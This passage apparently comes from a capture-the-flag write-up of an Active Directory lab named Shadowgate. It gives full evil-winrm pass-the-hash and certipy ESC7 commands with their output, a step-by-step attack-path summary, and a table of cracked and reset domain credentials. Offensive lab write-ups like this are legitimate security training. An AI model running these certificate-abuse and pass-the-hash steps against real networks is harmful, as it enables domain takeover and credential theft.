[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a
Recovered credentials:
Administrator:aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a
Post-Exploitation
Administrator Access
evil-winrm -i 10.1.87.219 -u 'Administrator' -H a07b7bbc98b574afe52bbeb5d07d9c0a
*Evil-WinRM* PS C:\Users\Administrator\Documents> type ../Desktop/root.txt
FLAG[SamH_Tombstone_Records_NoLongerExists_But_Backups_NeverForget]
Root flag obtained:
FLAG[SamH_Tombstone_Records_NoLongerExists_But_Backups_NeverForget]
ESC7: CA Officer Abuse
With Administrator access already confirmed via ESC3, went back to validate the CA-level ESC7 finding from the Certipy report directly: sam.h held ManageCa on Shadowgate-CA but not ManageCertificates, so the next step was to self-assign the officer role.
esc7:
certipy-ad ca \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-add-officer 'sam.h' \
-ldap-scheme ldap \
-ldap-port 389 \
-dynamic-endpoint \
-timeout 30 \
-debug
[+] LDAP NTLM authentication successful
[*] Successfully added officer 'sam.h' on 'Shadowgate-CA'
ManageCa was enough to grant sam.h the ManageCertificates (officer) role on the CA, completing the pair of rights ESC7 requires.
Attempted to directly request a SubCA certificate for Administrator, which is denied by template permissions.
certipy-ad req \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-template SubCA \
-upn 'administrator@shadowgate.local' \
-dynamic-endpoint \
-timeout 30 \
-debug
[*] Request ID is 8
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '8.key'
[-] Failed to request certificate
The request itself was denied, but as a CA officer sam.h could still manage the pending request and issue it manually (ESC7).
certipy-ad ca \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-issue-request 8 \
-ldap-scheme ldap \
-ldap-port 389 \
-dynamic-endpoint \
-debug
[*] Successfully issued certificate request ID 8
certipy-ad req \
-u 'sam.h@shadowgate.local' \
-p 'TempP@ssw0rd' \
-dc-ip 10.1.87.219 \
-dc-host SG-DC01.shadowgate.local \
-target SG-DC01.shadowgate.local \
-target-ip 10.1.87.219 \
-ca Shadowgate-CA \
-retrieve 8 \
-dynamic-endpoint \
-debug
[*] Retrieving certificate with ID 8
[*] Successfully retrieved certificate
[*] Got certificate with UPN 'administrator@shadowgate.local'
[*] Loaded private key from '8.key'
File 'administrator.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): n
[+] Using alternative filename: 'administrator_0360d308-4518-4f4d-81ee-85255c22bd00.pfx'
[+] Data written to 'administrator_0360d308-4518-4f4d-81ee-85255c22bd00.pfx'
certipy-ad auth \
-pfx administrator_0360d308-4518-4f4d-81ee-85255c22bd00.pfx \
-dc-ip 10.1.87.219 \
-debug
[*] Certificate identities:
[*] SAN UPN: 'administrator@shadowgate.local'
[*] Using principal: 'administrator@shadowgate.local'
[*] Trying to get TGT...
[*] Got TGT
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@shadowgate.local': aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a
Confirmed the ESC7 path independently reproduced the same Administrator NT hash.
Attack Path Summary
Nmap identified Windows DC + IIS + MSSQL
→ FFUF/vhost fuzzing found dev.shadowgate.local
→ sqlmap found MSSQL stacked-query SQLi in txtUser
→ Dumped ShadowGate.Users: mitch.r/oscar.m/admin app-level creds
→ admin:Admin123! failed over SMB, worked on the portal login as mitch.r
→ Portal's upload feature synced files to \\SG-DC01\dev$\
→ Uploaded ntlm_theft Update.lnk lure via the portal
→ Responder captured mitch.r's NetNTLMv2 hash
→ Cracked mitch.r:snitch1993
→ Ran BloodHound collection as mitch.r
→ Graph showed a 2-hop path: mitch.r ForceChangePassword -> milo.w -> WriteOwner -> svc_mssql
→ rpcclient set milo.w's password
→ bloodyAD took ownership + GenericAll + reset svc_mssql's password
→ MSSQL access as svc_mssql was guest-only, no direct pivot
→ Second Responder capture: bogdan.r's NetNTLMv2 hash
→ Cracked bogdan.r:bogdan0126
→ Same graph showed bogdan.r GenericAll -> daniel.r / oscar.m
→ Targeted Kerberoast retrieved Administrator/daniel.r/oscar.m TGS hashes (uncracked)
→ bloodyAD reset oscar.m's password directly via GenericAll
→ Fixed oscar.m's logonHours restriction
→ Graph showed oscar.m in Remote Management Users, explaining WinRM access
→ Evil-WinRM as oscar.m -> user.txt
→ Found termination email: sam.h deleted, held Manage-CA, ESC weakness flagged
→ oscar.m had WRITE on deleted sam.h object (bloodyAD get writable)
→ Restored sam.h from Deleted Objects
→ Reset sam.h's password
→ Re-ran BloodHound collection as oscar.m now that sam.h existed again
→ Refreshed graph confirmed Shadowgate-IT-Support GenericAll -> sam.h, explaining the reset
→ Certipy find: sam.h held direct Enroll/ManageCa/Read on Shadowgate-CA (ESC7), Shadowgate-EnrollmentAgent template flagged ESC3
→ Requested Enrollment Agent cert as sam.h (ESC3 template)
→ Used Enrollment Agent cert to request User cert on-behalf-of Administrator
→ Authenticated as Administrator via certificate, got NT hash
→ Evil-WinRM as Administrator -> root.txt
→ Used ManageCa to self-add sam.h as CA officer (completing ESC7)
→ Direct SubCA request denied by template permissions
→ Issued and retrieved the denied request manually as officer (ESC7), reproducing the same Administrator hash
Credentials Found
| Principal | Credential | Source |
|---|---|---|
mitch.r (app) |
donald1993 |
sqlmap dump of ShadowGate.dbo.Users |
oscar.m (app) |
BlueSky22 |
sqlmap dump of ShadowGate.dbo.Users |
admin (app) |
Admin123! |
sqlmap dump of ShadowGate.dbo.Users |
mitch.r (domain) |
snitch1993 |
NTLM lure via portal upload + Responder + Hashcat |
milo.w |
TempP@ssw0rd |
rpcclient setuserinfo2 (ForceChangePassword from mitch.r) |
svc_mssql |
TempP@ssw0rd |
bloodyAD WriteOwner/GenericAll abuse (from milo.w) |
bogdan.r |
bogdan0126 |
Responder + Hashcat |
oscar.m (domain) |
TempP@ssw0rd |
bloodyAD set password (GenericAll from bogdan.r) |
sam.h |
TempP@ssw0rd |
Restored from Deleted Objects + bloodyAD set password |
Administrator |
aad3b435b51404eeaad3b435b51404ee:a07b7bbc98b574afe52bbeb5d07d9c0a |
Certipy ESC3 (Enrollment Agent on-behalf-of) and confirmed via ESC7 |
Tools Used
- Nmap
- FFUF
- vhost-fuzzer.sh
- sqlmap
- Caido
- ntlm_theft
- Responder
- Hashcat
- NetExec / nxc
- rpcclient
- bloodyAD
- BloodHound / BloodHound.py
- targetedKerberoast
- smbclient
- Impacket mssqlclient
- Evil-WinRM
- Certipy